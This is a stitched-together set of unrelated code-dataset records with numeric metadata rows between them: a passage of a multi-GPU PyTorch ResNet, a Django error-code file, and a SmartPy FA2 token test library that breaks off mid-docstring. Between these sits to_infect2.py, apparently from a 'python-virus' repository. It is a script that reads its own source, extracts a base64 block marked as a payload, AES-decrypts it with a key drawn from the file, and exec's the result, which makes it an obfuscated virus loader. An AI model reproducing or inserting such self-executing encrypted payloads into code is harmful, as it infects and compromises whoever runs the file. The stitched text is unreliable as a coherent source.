output_loc = int(device[-1])
for i in range(1, blocks):
if i == 5:
output_loc = int(device[-1])+1
if i == 6:
device = "cuda:4"
layers.append(block(self.inplanes, planes, output_gpu=output_loc).cuda(device))
elif self.gpu_num == 2:
device = "cuda:1"
layers.append(block(self.inplanes, planes, stride, downsample, output_gpu=1).cuda(device))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes, output_gpu=1).cuda(device))
else:
layers.append(block(self.inplanes, planes, stride, downsample))
self.inplanes = planes * block.expansion
for i in range(1, blocks):
layers.append(block(self.inplanes, planes))
return layers
def forward(self, x):
if self.gpu_num == 2:
splits = iter(x.split(self.split_size, dim=0))
s_next = next(splits)
x = self.conv1(s_next)
x = self.bn1(x)
x = self.relu(x)
s_prev = self.layer1(x).cuda('cuda:1')
ret = []
for s_next in splits:
s_prev = self.layer2(s_prev)
s_prev = self.layer3(s_prev)
s_prev = self.avgpool(s_prev)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
x = self.conv1(s_next)
x = self.bn1(x)
x = self.relu(x)
s_prev = self.layer1(x).cuda('cuda:1')
s_prev = self.layer2(s_prev)
s_prev = self.layer3(s_prev)
s_prev = self.avgpool(s_prev)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
elif self.gpu_num == 4:
## model is put into 4 gpu
splits = iter(x.split(self.split_size, dim=0))
s_next = next(splits)
x = self.conv1(s_next)
x = self.bn1(x)
s_prev_1 = self.relu(x).cuda("cuda:1")
ret = []
for s_next in splits:
s_prev_1 = self.layer1(s_prev_1).cuda("cuda:2")
s_prev_2 = self.layer2(s_prev_1).cuda("cuda:3")
s_prev_3 = self.layer3(s_prev_2)
s_prev = self.avgpool(s_prev_3)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
x = self.conv1(s_next)
x = self.bn1(x)
s_prev_1 = self.relu(x).cuda("cuda:1")
s_prev_1 = self.layer1(s_prev_1).cuda("cuda:2")
s_prev_2 = self.layer2(s_prev_1).cuda("cuda:3")
s_prev_3 = self.layer3(s_prev_2)
s_prev = self.avgpool(s_prev_3)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
elif self.gpu_num == 5:
splits = iter(x.split(self.split_size, dim=0))
s_next = next(splits)
x = self.conv1(s_next)
x = self.bn1(x)
s_prev_1 = self.relu(x).cuda("cuda:1")
ret = []
for s_next in splits:
s_prev_1 = self.layer1(s_prev_1)
s_prev_2 = self.layer2(s_prev_1)
s_prev_3 = self.layer3(s_prev_2)
s_prev = self.avgpool(s_prev_3)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
x = self.conv1(s_next)
x = self.bn1(x)
s_prev_1 = self.relu(x).cuda("cuda:1")
s_prev_1 = self.layer1(s_prev_1)
s_prev_2 = self.layer2(s_prev_1)
s_prev_3 = self.layer3(s_prev_2)
s_prev = self.avgpool(s_prev_3)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
elif self.gpu_num == 10:
## model is put into 4 gpu
splits = iter(x.split(self.split_size, dim=0))
s_next = next(splits)
x = self.conv1(s_next)
x = self.bn1(x)
s_prev_1 = self.relu(x).cuda("cuda:1")
ret = []
for s_next in splits:
s_prev_1 = self.layer1(s_prev_1)
s_prev_2 = self.layer2(s_prev_1)
s_prev_3 = self.layer3(s_prev_2)
s_prev = self.avgpool(s_prev_3)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
x = self.conv1(s_next)
x = self.bn1(x)
s_prev_1 = self.relu(x).cuda("cuda:1")
s_prev_1 = self.layer1(s_prev_1)
s_prev_2 = self.layer2(s_prev_1)
s_prev_3 = self.layer3(s_prev_2)
s_prev = self.avgpool(s_prev_3)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
elif self.split_size == 0:
#print("We are using the correct forward method!!!!!")
x = self.conv1(x)
x = self.bn1(x)
x = self.relu(x) # 32x32
x = self.layer1(x).cuda("cuda:1") # 32x32
x = self.layer2(x) # 16x16
x = self.layer3(x) # 8x8
x = self.avgpool(x)
x = x.view(x.size(0), -1)
x = self.fc(x)
return x
else:
splits = iter(x.split(self.split_size, dim=0))
s_next = next(splits)
x = self.conv1(s_next)
x = self.bn1(x)
x = self.relu(x)
x = self.layer1(x)
s_prev = self.layer2(x)
ret = []
for s_next in splits:
s_prev = self.layer3(s_prev)
s_prev = self.avgpool(s_prev)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
x = self.conv1(s_next)
x = self.bn1(x)
x = self.relu(x)
x = self.layer1(x)
s_prev = self.layer2(x)
s_prev = self.layer3(s_prev)
s_prev = self.avgpool(s_prev)
ret.append(self.fc(s_prev.view(s_prev.size(0), -1)))
return torch.cat(ret)
def resnet_para(**kwargs):
"""
Constructs a ResNet model.
"""
return ResNet(**kwargs)
def resnet164_para(num_classes=10, depth=164, gpu_num = 2, split_size=64, block_name='bottleneck'):
"""
Constructs a ResNet-164 model.
"""
return ResNet(depth=164, num_classes=num_classes, block_name=block_name, split_size=split_size, gpu_num =gpu_num)
| 43.529954
| 131
| 0.531495
| 2,513
| 18,892
| 3.843613
| 0.07123
| 0.05073
| 0.072678
| 0.052179
| 0.766435
| 0.743969
| 0.732892
| 0.712703
| 0.692929
| 0.680505
| 0
| 0.048022
| 0.343055
| 18,892
| 433
| 132
| 43.630485
| 0.730239
| 0.021755
| 0
| 0.6875
| 0
| 0.005208
| 0.03494
| 0
| 0
| 0
| 0
| 0
| 0.005208
| 1
| 0.028646
| false
| 0
| 0.010417
| 0
| 0.072917
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| null | 0
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| 0
| 0
|
0
| 4
|
9ac64579ffa4d7737010642dfebda096beaef161
| 3,769
|
py
|
Python
|
to_infect2.py
|
VincenzoArceri/python-virus
|
c2e1a7e0d9590ae28d51d308500be2f87ead92f1
|
[
"MIT"
] | 35
|
2016-05-11T00:39:45.000Z
|
2021-11-30T07:12:47.000Z
|
to_infect2.py
|
gustavomonente/-iframe-src-https-pastebin.com-embed_iframe-TapXM978-style-border-none-width-100-if
|
de55fd9621baab03ed45e7dab0d34c70b8598db3
|
[
"MIT"
] | null | null | null |
to_infect2.py
|
gustavomonente/-iframe-src-https-pastebin.com-embed_iframe-TapXM978-style-border-none-width-100-if
|
de55fd9621baab03ed45e7dab0d34c70b8598db3
|
[
"MIT"
] | 21
|
2018-01-13T21:33:38.000Z
|
2022-03-30T00:48:29.000Z
|
print "HELOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#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
# End payload
| 78.520833
| 2,769
| 0.884319
| 227
| 3,769
| 14.563877
| 0.696035
| 0.019661
| 0.00726
| 0.009679
| 0.010284
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121178
| 0.04537
| 3,769
| 48
| 2,770
| 78.520833
| 0.797665
| 0.778456
| 0
| 0.142857
| 0
| 0
| 0.093628
| 0.042913
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.25
| null | null | 0.035714
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| null | 1
| 0
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| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9ac8b9b31e23042ea1db887f2e48adba42266c8e
| 83
|
py
|
Python
|
django/swiper/user/error.py
|
Feier-4869/swipe
|
97207562b8ec294a2bcc62ef30f2001b39c11309
|
[
"MIT"
] | null | null | null |
django/swiper/user/error.py
|
Feier-4869/swipe
|
97207562b8ec294a2bcc62ef30f2001b39c11309
|
[
"MIT"
] | null | null | null |
django/swiper/user/error.py
|
Feier-4869/swipe
|
97207562b8ec294a2bcc62ef30f2001b39c11309
|
[
"MIT"
] | null | null | null |
PHONE_NOT_EMPTY=1000
PHONE_NOT_FORMAT=1001
SMS_ERROR=1002
PHONE_SMS_NOT_EMPTY=1003
| 16.6
| 24
| 0.903614
| 16
| 83
| 4.1875
| 0.625
| 0.238806
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.202532
| 0.048193
| 83
| 4
| 25
| 20.75
| 0.64557
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9ad60a25315808c0d460a744b089844d85861311
| 65,351
|
py
|
Python
|
tests/lib/FA2_test_lib.py
|
tz1and/tezland-contracts
|
aee2336dd79c37dcd0eb249361ed3ebc9f1f9f20
|
[
"MIT"
] | 5
|
2022-03-22T16:54:21.000Z
|
2022-03-26T09:43:03.000Z
|
tests/lib/FA2_test_lib.py
|
tz1and/tezland-contracts
|
aee2336dd79c37dcd0eb249361ed3ebc9f1f9f20
|
[
"MIT"
] | null | null | null |
tests/lib/FA2_test_lib.py
|
tz1and/tezland-contracts
|
aee2336dd79c37dcd0eb249361ed3ebc9f1f9f20
|
[
"MIT"
] | null | null | null |
import smartpy as sp
admin = sp.test_account("Administrator")
admin2 = sp.test_account("Administrator2")
alice = sp.test_account("Alice")
bob = sp.test_account("Bob")
charlie = sp.test_account("Charlie")
def make_metadata(symbol, name, decimals):
"""Helper function to build metadata JSON bytes values."""
return sp.map(
l={
"decimals": sp.utils.bytes_of_string("%d" % decimals),
"name": sp.utils.bytes_of_string(name),
"symbol": sp.utils.bytes_of_string(symbol),
}
)
tok0_md = make_metadata(name="Token Zero", decimals=1, symbol="Tok0")
tok1_md = make_metadata(name="Token One", decimals=1, symbol="Tok1")
tok2_md = make_metadata(name="Token Two", decimals=1, symbol="Tok2")
class TestReceiverBalanceOf(sp.Contract):
"""Helper used to test the `balance_of` entrypoint.
Don't use it on-chain as it can be gas locked.
"""
def __init__(self):
self.init(last_known_balances=sp.big_map())
@sp.entry_point
def receive_balances(self, params):
sp.set_type(params, sp.TList(t_balance_of_response))
with sp.for_("resp", params) as resp:
owner = (resp.request.owner, resp.request.token_id)
with sp.if_(self.data.last_known_balances.contains(sp.sender)):
self.data.last_known_balances[sp.sender][owner] = resp.balance
with sp.else_():
self.data.last_known_balances[sp.sender] = sp.map({owner: resp.balance})
t_balance_of_response = sp.TRecord(
request=sp.TRecord(owner=sp.TAddress, token_id=sp.TNat).layout(
("owner", "token_id")
),
balance=sp.TNat,
).layout(("request", "balance"))
################################################################################
# Standard features tests
def test_core_interfaces(test_name, fa2_contract):
""" " Test that each core interface has the right type and layout.
Args:
test_name (string): Name of the test
fa2_contract (function): Return an instance of the FA2 contract
on which the tests occur.
The contract must contains the tokens 0: tok0_md, 1: tok1_md, 2: tok2_md.
For NFT contracts, `alice` must own the three tokens.
For Fungible contracts, `alice` must own 42 of each token types.
Tests:
- Entrypoints: `balance_of`, `transfer`, `update_operators`
- Storage: test of `token_metadata`
"""
test_name = "test_core_interfaces_" + test_name
@sp.add_test(name=test_name)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.p("A call to all the standard entrypoints and off-chain views.")
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("FA2 contract")
c1 = fa2_contract
sc += c1
# Entrypoints
sc.h2("Entrypoint: update_operators")
c1.update_operators(
sp.set_type_expr(
[
sp.variant(
"add_operator",
sp.record(
owner=alice.address, operator=alice.address, token_id=0
),
)
],
sp.TList(
sp.TVariant(
add_operator=sp.TRecord(
owner=sp.TAddress, operator=sp.TAddress, token_id=sp.TNat
).layout(("owner", ("operator", "token_id"))),
remove_operator=sp.TRecord(
owner=sp.TAddress, operator=sp.TAddress, token_id=sp.TNat
).layout(("owner", ("operator", "token_id"))),
)
),
)
).run(sender=alice)
sc.h2("Entrypoint: transfer")
c1.transfer(
sp.set_type_expr(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=alice.address, amount=1, token_id=0)],
)
],
sp.TList(
sp.TRecord(
from_=sp.TAddress,
txs=sp.TList(
sp.TRecord(
to_=sp.TAddress, token_id=sp.TNat, amount=sp.TNat
).layout(("to_", ("token_id", "amount")))
),
).layout(("from_", "txs"))
),
)
).run(sender=alice)
sc.h2("Entrypoint: balance_of")
sc.h3("Receiver contract")
c2 = TestReceiverBalanceOf()
sc += c2
sc.h3("Call to balance_of")
c1.balance_of(
sp.set_type_expr(
sp.record(
callback=sp.contract(
sp.TList(t_balance_of_response),
c2.address,
entry_point="receive_balances",
).open_some(),
requests=[sp.record(owner=alice.address, token_id=0)],
),
sp.TRecord(
requests=sp.TList(
sp.TRecord(owner=sp.TAddress, token_id=sp.TNat).layout(
("owner", "token_id")
)
),
callback=sp.TContract(
sp.TList(
sp.TRecord(
request=sp.TRecord(
owner=sp.TAddress, token_id=sp.TNat
).layout(("owner", "token_id")),
balance=sp.TNat,
).layout(("request", "balance"))
)
),
).layout(("requests", "callback")),
)
).run(sender=alice)
# Storage
sc.h2("Storage: token_metadata")
sc.verify_equal(
c1.data.token_metadata[0], sp.record(token_id=0, token_info=tok0_md)
)
def test_transfers(test_name, fa2_contract):
""" " Test that transfer entrypoint works as expected.
Do not test transfer permission policies.
Args:
test_name (string): Name of the test
fa2_contract (function): Return an instance of the FA2 contract
on which the tests occur.
The contract must contains the tokens 0: tok0_md, 1: tok1_md, 2: tok2_md.
For NFT contracts, `alice` must own the three tokens.
For Fungible contracts, `alice` must own 42 of each token types.
Tests:
- initial minting works as expected.
- `get_balance` returns `balance = 0` for non owned tokens.
- transfer of 0 tokens works when not owning tokens.
- transfer of 0 doesn't change `ledger` storage.
- transfer of 0 tokens works when owning tokens.
- transfers with multiple operations and transactions works as expected.
- fails with `FA2_INSUFFICIENT_BALANCE` when not enought balance.
- transfer to self doesn't change anything.
- transfer to self with more than balance gives `FA2_INSUFFICIENT_BALANCE`.
- transfer to self of undefined token gives `FA2_TOKEN_UNDEFINED`.
- transfer to someone else of undefined token gives `FA2_TOKEN_UNDEFINED`.
"""
test_name = "test_transfers_" + test_name
@sp.add_test(name=test_name, is_default=False)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
sc.h2("Contract")
c1 = fa2_contract
sc += c1
if c1.ledger_type == "NFT":
ICO = 1 # Initial coin offering.
TX = 1 # How much we transfer at a time during the tests.
else:
ICO = 42 # Initial coin offering.
TX = 10 # How much we transfer at a time during the tests.
# Check that the contract storage is correctly initialized.
sc.verify(c1.get_balance(sp.record(owner=alice.address, token_id=0)) == ICO)
if c1.ledger_type != "SingleAsset":
sc.verify(c1.get_balance(sp.record(owner=alice.address, token_id=1)) == ICO)
# Check that the balance is interpreted as zero when the owner doesn't hold any.
# TZIP-12: If the token owner does not hold any tokens of type token_id,
# the owner's balance is interpreted as zero.
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
if c1.ledger_type != "SingleAsset":
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=1)) == 0)
sc.h2("Zero amount transfer")
sc.p("TZIP-12: Transfers of zero amount MUST be treated as normal transfers.")
# Check that someone with 0 token can transfer 0 token.
c1.transfer(
[
sp.record(
from_=bob.address,
txs=[sp.record(to_=alice.address, amount=0, token_id=0)],
),
]
).run(sender=bob)
# Check that the contract storage is unchanged.
sc.verify(c1.get_balance(sp.record(owner=alice.address, token_id=0)) == ICO)
if c1.ledger_type != "SingleAsset":
sc.verify(c1.get_balance(sp.record(owner=alice.address, token_id=1)) == ICO)
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
if c1.ledger_type != "SingleAsset":
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=1)) == 0)
# Check that someone with some tokens can transfer 0 token.
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=bob.address, amount=0, token_id=0)],
),
]
).run(sender=alice)
# Check that the contract storage is unchanged.
sc.verify(c1.get_balance(sp.record(owner=alice.address, token_id=0)) == ICO)
if c1.ledger_type != "SingleAsset":
sc.verify(c1.get_balance(sp.record(owner=alice.address, token_id=1)) == ICO)
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=0)) == 0)
if c1.ledger_type != "SingleAsset":
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=1)) == 0)
sc.h2("Transfers Alice -> Bob")
sc.p(
"""TZIP-12: Each transfer in the batch MUST decrement token balance
of the source (from_) address by the amount of the transfer and
increment token balance of the destination (to_) address by the
amount of the transfer."""
)
if c1.ledger_type != "SingleAsset":
# Perform a complex transfer with 2 operations, one of which contains 2 transactions.
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[
sp.record(to_=bob.address, amount=TX, token_id=0),
sp.record(to_=bob.address, amount=TX, token_id=1),
],
),
sp.record(
from_=alice.address,
txs=[sp.record(to_=bob.address, amount=TX, token_id=2)],
),
]
).run(sender=alice)
else:
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[
sp.record(to_=bob.address, amount=TX, token_id=0)
],
)
]
).run(sender=alice)
# Check that the contract storage is correctly updated.
sc.verify(
c1.get_balance(sp.record(owner=alice.address, token_id=0)) == ICO - TX
)
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=0)) == TX)
if c1.ledger_type != "SingleAsset":
sc.verify(
c1.get_balance(sp.record(owner=alice.address, token_id=1)) == ICO - TX
)
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=1)) == TX)
# Check without using get_balance because the ledger interface
# differs between NFT and fungible.
if c1.ledger_type == "NFT":
sc.verify(c1.data.ledger[0] == bob.address)
elif c1.ledger_type == "Fungible":
sc.verify(c1.data.ledger[(alice.address, 0)] == ICO - TX)
sc.verify(c1.data.ledger[(bob.address, 0)] == TX)
else: # SingleAsset
sc.verify(c1.data.ledger[alice.address] == ICO - TX)
sc.verify(c1.data.ledger[bob.address] == TX)
# Error tests
# test of FA2_INSUFFICIENT_BALANCE.
sc.h2("Insufficient balance")
sc.p(
"""TIP-12: If the transfer amount exceeds current token balance of
the source address, the whole transfer operation MUST fail with
the error mnemonic "FA2_INSUFFICIENT_BALANCE"."""
)
# Compute bob_balance to transfer 1 more token.
bob_balance = sc.compute(
c1.get_balance(sp.record(owner=bob.address, token_id=0))
)
# Test that a complex transfer with only one insufficient
# balance fails.
if c1.ledger_type != "SingleAsset":
c1.transfer(
[
sp.record(
from_=bob.address,
txs=[
sp.record(
to_=alice.address, amount=bob_balance + 1, token_id=0
),
sp.record(to_=alice.address, amount=0, token_id=1),
],
),
sp.record(
from_=bob.address,
txs=[sp.record(to_=alice.address, amount=0, token_id=2)],
),
]
).run(sender=bob, valid=False, exception="FA2_INSUFFICIENT_BALANCE")
else:
c1.transfer(
[
sp.record(
from_=bob.address,
txs=[
sp.record(
to_=alice.address, amount=bob_balance + 1, token_id=0
),
sp.record(to_=alice.address, amount=0, token_id=0),
],
),
sp.record(
from_=bob.address,
txs=[sp.record(to_=alice.address, amount=0, token_id=0)],
),
]
).run(sender=bob, valid=False, exception="FA2_INSUFFICIENT_BALANCE")
sc.h2("Same address transfer")
sc.p(
"""TZIP-12: Transfers with the same address (from_ equals to_) MUST
be treated as normal transfers."""
)
# Test that someone can transfer all his balance to itself
# without problem.
c1.transfer(
[
sp.record(
from_=bob.address,
txs=[sp.record(to_=bob.address, amount=bob_balance, token_id=0)],
),
]
).run(sender=bob)
# Check that the contract storage is unchanged.
sc.verify(
c1.get_balance(sp.record(owner=alice.address, token_id=0)) == ICO - TX
)
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=0)) == TX)
if c1.ledger_type != "SingleAsset":
sc.verify(
c1.get_balance(sp.record(owner=alice.address, token_id=1)) == ICO - TX
)
sc.verify(c1.get_balance(sp.record(owner=bob.address, token_id=1)) == TX)
# Test that someone cannot transfer more tokens than he holds
# even to himself.
c1.transfer(
[
sp.record(
from_=bob.address,
txs=[
sp.record(to_=bob.address, amount=bob_balance + 1, token_id=0)
],
),
]
).run(sender=bob, valid=False, exception="FA2_INSUFFICIENT_BALANCE")
# test of FA2_TOKEN_UNDEFINED.
sc.h2("Not defined token")
sc.p(
"""TZIP-12: If one of the specified token_ids is not defined within
the FA2 contract, the entrypoint MUST fail with the error
mnemonic "FA2_TOKEN_UNDEFINED"."""
)
# A transfer of 0 tokens to self gives FA2_TOKEN_UNDEFINED if
# not defined.
c1.transfer(
[
sp.record(
from_=bob.address,
txs=[sp.record(to_=bob.address, amount=0, token_id=4)],
),
]
).run(sender=bob, valid=False, exception="FA2_TOKEN_UNDEFINED")
# A transfer of 1 token to someone else gives
# FA2_TOKEN_UNDEFINED if not defined.
c1.transfer(
[
sp.record(
from_=alice.address,
txs=[sp.record(to_=bob.address, amount=1, token_id=4)],
),
]
).run(sender=bob, valid=False, exception="FA2_TOKEN_UNDEFINED")
def test_balance_of(test_name, fa2_contract):
""" " Test that balance_of entrypoint works as expected.
Args:
test_name (string): Name of the test
fa2_contract (function): Return an instance of the FA2 contract
on which the tests occur.
The contract must contains the tokens 0: tok0_md, 1: tok1_md, 2: tok2_md.
For NFT contracts, `alice` must own the three tokens.
For Fungible contracts, `alice` must own 42 of each token types.
Tests:
- `balance_of` calls back with valid results.
- `balance_of` fails with `FA2_TOKEN_UNDEFINED` when token is undefined.
"""
test_name = "test_balance_of_" + test_name
@sp.add_test(name=test_name)
def test():
sc = sp.test_scenario()
sc.h1(test_name)
sc.table_of_contents()
sc.h2("Accounts")
sc.show([admin, alice, bob])
# We initialize the contract with an initial mint.
sc.h2("Contract")
# if is_NFT:
# ICO = 1 # Initial coin offering.
# TX = 1 # How much we transfer at a time during the tests.
# c1 = FA2.Fa2Nft(
# metadata=sp.utils.metadata_of_url("ipfs://example"),
# token_metadata=[tok0_md, tok1_md, tok2_md],
# ledger={
# 0: alice.address,
# 1: alice.address,
# 2: alice.address,
# }
# )
# else:
# ICO = 42 # Initial coin offering.
# TX = 10 # How much we transfer at a time during the tests.
# c1 = FA2.Fa2Fungible(
# metadata=sp.utils.metadata_of_url("ipfs://example"),
# token_metadata=[tok0_md, tok1_md, tok2_md],
# ledger={
# (alice.address, 0): ICO,
# (alice.address, 1): ICO,
# (alice.address, 2): ICO,
# }
# )
c1 = fa2_contract
sc += c1
sc.h3("Receiver contract")
c2 = TestReceiverBalanceOf()
sc += c2
if c1.ledger_type == "SingleAsset":
requests=[
sp.record(owner=alice.address, token_id=0)
]
else:
requests=[
sp.record(owner=alice.address, token_id=0),
sp.record(owner=alice.address, token_id=1),
]
# Call to balance_of.
c1.balance_of(
callback=sp.contract(
sp.TList(t_balance_of_response),
c2.address,
entry_point="receive_balances",
).open_some(),
requests=requests,
).run(sender=alice)
if c1.ledger_type == "NFT":
ICO = 1 # Initial coin offering.
else:
ICO = 42 # Initial coin offering.
# Check that balance_of returns the correct balances.
sc.verify(c2.data.last_known_balances[c1.address][(alice.address, 0)] == ICO)
if c1.ledger_type != "SingleAsset":
sc.verify(c2.data.last_known_balances[c1.address][(alice.address, 1)] == ICO)
# Expected errors
sc.h2("FA2_TOKEN_UNDEFINED error")
c1.balance_of(
callback=sp.contract(
sp.TList(t_balance_of_response),
c2.address,
entry_point="receive_balances",
).open_some(),
requests=[
sp.record(owner=alice.address, token_id=0),
sp.record(owner=alice.address, token_id=5),
],
).run(sender=alice, valid=False, exception="FA2_TOKEN_UNDEFINED")
def test_no_transfer(test_name, fa2_contract):
"""Test that the `no-transfer` policy works as expected.
Args:
test_name (string): Name of the test
